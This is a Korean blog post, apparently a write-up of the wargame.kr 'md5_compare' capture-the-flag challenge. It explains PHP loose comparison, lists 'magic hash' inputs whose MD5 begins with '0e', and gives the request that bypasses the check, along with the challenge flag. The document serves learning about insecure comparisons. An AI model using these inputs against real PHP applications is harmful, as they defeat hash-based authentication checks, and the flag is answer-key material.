write-ups/wargame.kr

wargame.kr md5_compare write up

2018. 4. 23. 15:52

해당 문제에 접속해보면 소스를 제공해준다. 소스를 한 번 보자. 



알파벳으로만 이루어진 v1 값을 받고, digits로만 된 v2 값을 받고 loose compare 방식으로 두 값을 md5 해시화한 값을 비교한다. 

PHP의 loose compare 는 굉장히 위험한 코드 중 하나라고 평가받고 있다. 왜냐하면 다음과 같은 현상이 발생하기 때문. 




md5의 공역은 16진수로된 문자열이다. 따라서 앞에 0e~~ 로 시작하는 정의역을 찾는다면, 우리는 loose compare를 통해서 해당 분기문을 우회할 수 있다. 


Loose compare는 외국의 여러 해커들이 찾아놓았다. (https://news.ycombinator.com/item?id=9484757)


    $ echo -n 240610708 | md5sum
    0e462097431906509019562988736854  -
    $ echo -n QNKCDZO | md5sum
    0e830400451993494058024219903391  -
    $ echo -n aabg7XSs | md5sum 
    0e087386482136013740957780965295  -


따라서 다음과 같은 값을 전달해준다면 Flag를 얻을 수 있다. 


http://wargame.kr:8080/md5_compare/?v1=QNKCDZO&v2=240610708


flag : f6330ca82a72179beae8b20a2ab7f0cbcc36ccc5

'write-ups > wargame.kr' 카테고리의 다른 글

wargame.kr QR CODE PUZZLE write-up  (0) 2020.03.17
wargame.kr md5 password write up  (0) 2018.04.23
wargame.kr md5_compare write up  (0) 2018.04.23
wargame.kr jff3_magic write up  (0) 2018.01.08
wargame.kr img recovery write up  (0) 2017.10.04
wargame.kr zairo write up  (0) 2017.06.22